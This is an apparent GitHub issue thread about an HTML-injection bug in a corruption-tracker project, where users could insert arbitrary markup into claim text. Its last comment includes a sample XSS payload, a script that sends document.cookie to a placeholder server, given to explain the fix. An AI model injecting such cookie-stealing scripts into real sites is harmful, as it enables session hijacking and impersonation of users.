search

autogestion / corruption_tracker

BSD 3-Clause "New" or "Revised" License
11 stars 11 forks source link

Encode user input #43

Closed Vegasq closed 9 years ago

Vegasq commented 9 years ago

Way to prevent stupid bug :laughing:

screenshot
autogestion commented 9 years ago

So, there was a way for user to insert somewhere hosted picture in claim text? Maybe it's not a bug, but feature?)

Vegasq commented 9 years ago

Nope. There was a problem that user can insert any html code on page, and f.e. using JS injection, bad guy had an option to stole cookie and create claim from other user.

Like:

<script>
    $.ajax({'url': 'my/server?cookie=' + document.cookie})
</script>